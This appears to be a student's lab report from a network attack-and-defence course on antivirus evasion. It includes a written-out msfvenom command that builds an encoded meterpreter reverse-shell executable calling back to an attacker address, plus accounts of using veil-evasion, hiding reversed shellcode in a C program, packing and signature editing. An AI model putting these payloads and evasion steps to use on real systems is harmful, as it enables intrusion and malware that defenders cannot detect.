2015306 白皎 《网络攻防》Exp3 免杀原理与实践

一、实践基础

免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术。

免杀的方法有很多,比如加壳改壳、加垃圾指令、以及修改内存特征码,在本博客后面就是通过把具有特征码的代码顺序互换一下来达到免杀的目的。

二、实践内容

第一项: Msfvenom编码器生成的程序

1.直接利用上次后门实验生成的exe文件进行检测~

可以明显的看到将近一半的杀软都可以检测出来错误,说明这个木马不行,之后我们会进行改造,尽量使文件不要被查杀出来。

2.按理论上讲,编码会降低检出率,那我们多编码几次,看一下效果。下面是编码10次的命令。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i **10** -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe

编码十次之后,我们继续进行检测。可以看到,并没有什么变化。可以得出结论,编码次数的多少对免杀效果没有积极影响。

第二项:veil-evasion生成的程序

1.直接拷了老师的虚拟机,在安装weil上没有遇到什么波折~按照老师动图的教程,启动weil,设置好回连的IP地址和端口号后,生成后门程序。然后在网站中进行检测。

可以发现,报毒率很明显降低。

第三项:用shellcode编写的程序

1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号

2.通过以下该命令进行编译。意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。

3.将生成的执行文件进行检测。可以看到

4.下面进行回连,可以看到是ok的。

5.接下来又是进一步的改造。我选择的办法是将shellcode进行逆序变换,将变化后的数组放入被攻击机的程序中来尽量隐身,但是之后程序中有将其变回原形的代码。在被攻击机中需要用VS进行编译,使用教程详见如何用VS2012编写c语言?。现在在进行一次检测。

可以看到只查出一个哈哈哈!

6.用电脑杀毒软件去查杀木马病毒,也没有被查杀出来!

7.再次进行回连成功~~~

三、问题回答

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

- 基于特征码的检测

- 启发式恶意软件检测

- 基于行为的恶意软件检测

(2)免杀是做什么?

使病毒木马免于被杀毒软件查杀,使攻击机安全利用

(3)免杀的基本方法有哪些?

- 加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
- 加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。 - 改程序入口点 - 免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。

2.实践总结与体会

从这次的实验最直观的了解到我们日常用的杀毒软件也并不是万能的,存在着很多漏洞,因此自己在使用电脑,使用网络时要小心谨慎。

然后在做实验的过程中,可以初步了解到我们的电脑被攻击是怎么个原理。感觉懂这些技术的大神是非常酷的!!!

3.离实战还缺些什么技术或步骤?

首先,对于实战来说,木马程序如何嵌入被攻击机中。比如我们日常生活能看到的视频、网页、百度云中的一些木马程序,如何将后门加载到其中我们还需要学习。

其次,我们现在只是会非常简单的对shellcode进行一些改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使不同的后门免杀。

2015306 白皎 《网络攻防》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  8. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  9. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

随机推荐

  1. 团队项目个人进展——Day02

    一.昨天工作总结 冲刺第二天,昨天成功接入高德地图接口,并通过官方提供的文档实现了地图定位功能,通过官方在GitHub上提供的Demo可以看出还能实现天气查看,路径规划等功能: 二.遇到的问题 虽然通 ...

  2. vuejs electron webpack集成使用

    传统的vue SPA页面在浏览器环境中使用,但是有的时候我们还希望能够做成一个类似于桌面的app在PC上使用,希望不仅可以使用所有的浏览器SPA的功能,你也可能外加host os的功能,比如文件的本地 ...

  3. [翻译] NSDate-TimeAgo

    NSDate-TimeAgo https://github.com/kevinlawler/NSDate-TimeAgo NSDate+TimeAgo has merged with DateTool ...

  4. Mysql不改默认侦听回环地址而ssh通道连接的办法

    Mysql不改默认侦听回环地址而ssh通道连接的办法 文:铁乐与猫 比较新版的mysql默认侦听的网卡地址是本地回环地址:127.0.0.1: 比如你在/etc/mysql/my.cnf配置文件中往往 ...

  5. October 03rd 2017 Week 40th Tuesday

    Don't make promises you can't keep. But those are the best kind. 不要许下做不到的承诺,但是我们做不到的承诺往往是最好的. The be ...

  6. December 02nd 2016 Week 49th Friday

    People will fall for its appearance while driving passionately. 观者倾心,驭者动魄. An advertisement of Merce ...

  7. 判断是否是微信浏览器JavaScript代码

    function isWeiXin(){     var ua = window.navigator.userAgent.toLowerCase();     if(ua.match(/MicroMe ...

  8. python第四课——运算符

    一.python中的运算符: 什么是运算符? 就是计算机语言中用来参与运算的符号!! 1.算数运算符: 符号:+ - * / %(取余,取模) //(取整) **(开方) 2.比较运算符: 特点:比较 ...

  9. php中static静态变量的使用方法详解

    php中的变量作用范围的另一个重要特性就是静态变量(static 变量).静态变量仅在局部函数域中存在且只被初始化一次,当程序执行离开此作用域时,其值不会消失,会使用上次执行的结果.     看看下面 ...

  10. Hive学习之路 (十七)Hive分析窗口函数(五) GROUPING SETS、GROUPING__ID、CUBE和ROLLUP

    概述 GROUPING SETS,GROUPING__ID,CUBE,ROLLUP 这几个分析函数通常用于OLAP中,不能累加,而且需要根据不同维度上钻和下钻的指标统计,比如,分小时.天.月的UV数. ...